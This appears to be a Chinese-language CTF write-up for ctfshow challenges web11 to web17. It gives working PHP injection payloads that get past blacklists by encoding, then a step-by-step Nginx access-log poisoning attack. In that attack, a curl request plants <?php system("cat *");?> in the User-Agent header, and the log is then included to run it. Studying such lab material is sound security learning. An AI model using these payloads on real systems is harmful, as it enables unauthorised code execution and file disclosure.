web11

1.这个的环境比之前多过滤了一个cat,黑名单只限制了命令执行函数,没有限制 PHP 原生文件读取函数,可以用readfile来读取文件,或者是echo file_get_contents('config.php');

web12

1.这次过滤更多,并且还过滤了config,那么我们要采取其他形式的config的写法,比如说base64,config base64加密为Y29uZmlnLnBocA==,然后我们的读取函数没有被过滤可以照常使用:?c=readfile(base64_decode("Y29uZmlnLnBocA=="));

2.其实这个也可以用别的形式,
chr ASCII 字符拼接方案:?c=readfile(chr(99).chr(111).chr(110).chr(102).chr(105).chr(103).chr(103).chr(46).chr(112).chr(104).chr(112));
十六进制字符串:?c=echo file_get_contents("\\x63\\x6f\\x6e\\x66\\x69\\x67\\x2e\\x70\\x68\\x70");
web13

1.这个题比上一个多过滤了一个;,所以我们要PHP 语句完整,必须用?>替代分号收尾,然后还多过滤了一个file元素,那我们那个方法就不行了
passthru:系统命令执行函数,调用服务器 Linux 命令cat。cat是读取文件原始文本,不会解析 PHP,直接把 config.php 全部源码原样输出到浏览器,所以能看见 flag。
/?c=passthru(base64_decode('%27Y2F0IGNvbmZpZy5waHA=%27'))?>

web14

1.这个新过滤了一个(,所以不能用(),echo、include不需要括号;二者属于 PHP 语言结构,并非函数。
由于页面代码开头已经提前执行了include(config.php),变量$flag处于全局可调用作用域内,因此最简可用载荷如下:
纯文本载荷: ?c=echo $flag?>

web15

1.这一个和上一个有所不同过滤了?>,并没有过滤;分号。所以这一题只要把上一题的结束符号换为;即可

web16

1.这个题目给了一个md5值,我们先进行md5爆破
md5解密地址:https://www.somd5.com/

2.在题目中的下面的代码的意思是:找到一串字符 X,满足: md5("ctfshow" . X) = a6f57ae38a22448c2f07f3f95f49c84e 令$c=X,即可进入判断输出 flag。所以我们就找到了c=36d的
if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){ echo $flag;
3.直接构造payload,得到flag

web17


1.我们最终目的:必须让服务器运行 PHP 代码,执行命令找出 flag。 现在不能直接传 php 文件,那就必须找一个满足两个条件的文件: ① 文件路径不带 php,可以绕过拦截; ② 这个文件我们能自己往里写入 PHP 代码; ③ 网站可以用 include 读取它。所以选择Nginx 日志
2.选择Nginx的原因
路径无 php,轻松绕过黑名单
Nginx 默认访问日志路径:/var/log/nginx/access.log 整条路径没有任何 php 字样,preg_match检测不到,网站允许 include 读取这个文件。
我们可以随便往日志里写字
Nginx 有固定机制:任何人访问网站,浏览器 / 工具的请求头User-Agent会完整写进 access.log 日志。 User-Agent 是用来告诉服务器你用的什么浏览器,这个内容我们完全自定义。 你用 curl 可以手动把 User-Agent 改成 <?php system("cat *");?>。 你一发请求,这段 PHP 代码自动被服务器写到日志里,全程不用上传文件。
日志能被 include 解析执行
include 有特殊规则:
- 打开纯 txt、日志这类普通文件:只原样展示文字;
- 如果文件里存在<?php 代码 ?>,PHP 引擎会运行代码,再输出结果。
日志被我们塞进了 PHP 标签,读取日志就等于运行代码。
3.用 curl 工具访问网站,强行告诉服务器:我的浏览器标识是一段 PHP 代码。 服务器会把这段代码写进日志。之后读取日志,代码运行,自动遍历网站所有文件,爆出 flag。这个命令其实在自己终端输入就行。
curl -H "User-Agent: <?php system(\\"cat *\\");?>" https://cd99e68e-35de-4ccc-b3d3-ed139ba5ccf5.challenge.ctf.show/
4.指令详解:curl = Windows 系统自带的网络请求工具,作用:向网址发送一次 HTTP 访问请求。
-H
全称 header,功能:手动自定义 HTTP 请求头。 正常浏览器访问网站会自带很多请求头(浏览器型号、UA、Cookie 等),-H允许我们手动新增 / 修改任意请求头。 本次我们专门修改User-Agent请求头。
User-Agent: <?php system(\\"cat *\\");?>
这是我们自定义的请求头内容,分成两块:
1)User-Agent: 约定名称,代表浏览器标识。正常这里是Chrome/Edge/火狐这类浏览器信息;我们全部替换成恶意 PHP 代码。
2)<?php system(\\"cat *\\");?> 核心执行代码,分层拆解
- <?php ?>:PHP 标记。只要 PHP 读到这对标签,就会把中间内容当成程序执行,不会当成普通文字。
- system():PHP 内置函数,作用:调用 Linux 服务器原生系统命令。
- cat:Linux 经典命令,功能:读取文件内容。
- *:通配符,代表「当前文件夹所有文件」。cat * = 读取网站根目录全部文件。
为什么要加反斜杠 \\"?
Windows CMD 语法硬性要求: 外层已经用双引号包裹整个 UA 内容:"User-Agent: xxx" 如果代码内部还要写双引号 ",CMD 会误认为引号提前结束,命令直接崩掉。 必须用 \\ 转义,写成 \\",告诉 CMD:这个双引号是代码里的文字,不是命令结束符。
如果写成错误版本: "User-Agent: <?php system("cat *");?>" CMD 读到system("这里就判定引号闭合,整条命令直接报错。
末尾网址
指定请求发送到这台 CTF 靶机,你的 UA 代码会随着这次访问一起发给 Nginx 服务器。
5.发送之后服务器会怎么样
- 服务器 Nginx 收到你的访问请求,完整记录所有请求信息写入日志文件 /var/log/nginx/access.log,User-Agent 原样存入日志;
- 日志文件现在被写入:<?php system("cat *");?>;
- 后续你访问 ?c=/var/log/nginx/access.log,PHP include 读取日志,识别 PHP 标签,执行cat *;
- 服务器列出网站全部文件,flag 被打印在页面中。

6.下一步在浏览器访问的指令:
https://cd99e68e-35de-4ccc-b3d3-ed139ba5ccf5.challenge.ctf.show/?c=/var/log/nginx/access.log
作用:去读取 Nginx 日志这个文件。 网站打开日志,发现里面藏了 PHP 代码,自动运行代码,把网站所有文件全部读出来展示。
/var/log/nginx/access.log:赋值内容,Nginx 访问日志在 Linux 系统的绝对路径。

7.然后再这个页面检查源代码,即可得到flag

网硕互联帮助中心




评论前必须登录!
注册